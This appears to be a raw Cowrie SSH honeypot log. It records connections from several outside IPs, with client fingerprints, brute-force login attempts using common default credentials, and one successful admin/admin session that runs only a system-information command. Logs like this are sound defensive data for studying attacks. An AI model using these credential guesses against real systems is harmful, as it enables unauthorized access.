{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:46.139273Z","src_ip":"141.11.88.14","session":"25efe377649f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:48.453486Z","src_ip":"141.11.88.14","session":"25efe377649f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:48.941815Z","src_ip":"141.11.88.14","session":"25efe377649f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:48.946062Z","src_ip":"141.11.88.14","session":"25efe377649f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:49.392269Z","src_ip":"141.11.88.14","session":"25efe377649f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:49.396643Z","src_ip":"141.11.88.14","session":"25efe377649f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28646,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9fd3f202171","protocol":"ssh","message":"New connection: 141.11.88.14:28646 (10.17.0.5:22) [session: b9fd3f202171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:53.462543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:53.515764Z","src_ip":"141.11.88.14","session":"b9fd3f202171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:53.613569Z","src_ip":"141.11.88.14","session":"b9fd3f202171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"try","password":"123456","message":"login attempt [try/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:54.371671Z","src_ip":"141.11.88.14","session":"b9fd3f202171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":44150,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4fae85347ad","protocol":"ssh","message":"New connection: 103.82.20.28:44150 (10.17.0.5:22) [session: e4fae85347ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:54.631632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:54.639726Z","src_ip":"103.82.20.28","session":"e4fae85347ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:54.898673Z","src_ip":"103.82.20.28","session":"e4fae85347ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:55.522102Z","src_ip":"141.11.88.14","session":"b9fd3f202171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"271082","message":"login attempt [root/271082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:55.675464Z","src_ip":"103.82.20.28","session":"e4fae85347ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:56.936503Z","src_ip":"103.82.20.28","session":"e4fae85347ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":45364,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d03894cdc24","protocol":"ssh","message":"New connection: 87.106.47.28:45364 (10.17.0.5:22) [session: 8d03894cdc24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:58.551166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:58.557201Z","src_ip":"87.106.47.28","session":"8d03894cdc24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:58.654369Z","src_ip":"87.106.47.28","session":"8d03894cdc24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intel","password":"intel123","message":"login attempt [intel/intel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:59.097745Z","src_ip":"87.106.47.28","session":"8d03894cdc24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:00.196639Z","src_ip":"87.106.47.28","session":"8d03894cdc24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":34284,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea656b2795bf","protocol":"ssh","message":"New connection: 181.188.176.242:34284 (10.17.0.5:22) [session: ea656b2795bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:00.766186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:00.771659Z","src_ip":"181.188.176.242","session":"ea656b2795bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:00.947314Z","src_ip":"181.188.176.242","session":"ea656b2795bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":47300,"dst_ip":"10.17.0.5","dst_port":22,"session":"cca0e0472f7a","protocol":"ssh","message":"New connection: 36.92.41.115:47300 (10.17.0.5:22) [session: cca0e0472f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:01.045977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:01.051887Z","src_ip":"36.92.41.115","session":"cca0e0472f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":43706,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc2e7bd5b5d9","protocol":"ssh","message":"New connection: 141.11.88.14:43706 (10.17.0.5:22) [session: bc2e7bd5b5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:01.164914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:01.244462Z","src_ip":"141.11.88.14","session":"bc2e7bd5b5d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:01.303931Z","src_ip":"36.92.41.115","session":"cca0e0472f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:01.345795Z","src_ip":"141.11.88.14","session":"bc2e7bd5b5d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app!@#","message":"login attempt [app/app!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:01.685180Z","src_ip":"181.188.176.242","session":"ea656b2795bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:02.175473Z","src_ip":"141.11.88.14","session":"bc2e7bd5b5d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@12345","message":"login attempt [root/Qwerty@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:02.333998Z","src_ip":"36.92.41.115","session":"cca0e0472f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:02.863156Z","src_ip":"181.188.176.242","session":"ea656b2795bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:03.376916Z","src_ip":"141.11.88.14","session":"bc2e7bd5b5d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:03.586607Z","src_ip":"36.92.41.115","session":"cca0e0472f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52636,"dst_ip":"10.17.0.5","dst_port":22,"session":"99be3769ead6","protocol":"ssh","message":"New connection: 141.11.88.14:52636 (10.17.0.5:22) [session: 99be3769ead6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:07.947849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:07.975778Z","src_ip":"141.11.88.14","session":"99be3769ead6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:08.044340Z","src_ip":"141.11.88.14","session":"99be3769ead6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:08.599440Z","src_ip":"141.11.88.14","session":"99be3769ead6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:09.737596Z","src_ip":"141.11.88.14","session":"99be3769ead6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52656,"dst_ip":"10.17.0.5","dst_port":22,"session":"702a2f7e8481","protocol":"ssh","message":"New connection: 141.11.88.14:52656 (10.17.0.5:22) [session: 702a2f7e8481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:15.540187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:10:15.944864Z","src_ip":"141.11.88.14","session":"702a2f7e8481","protocol":"ssh"}
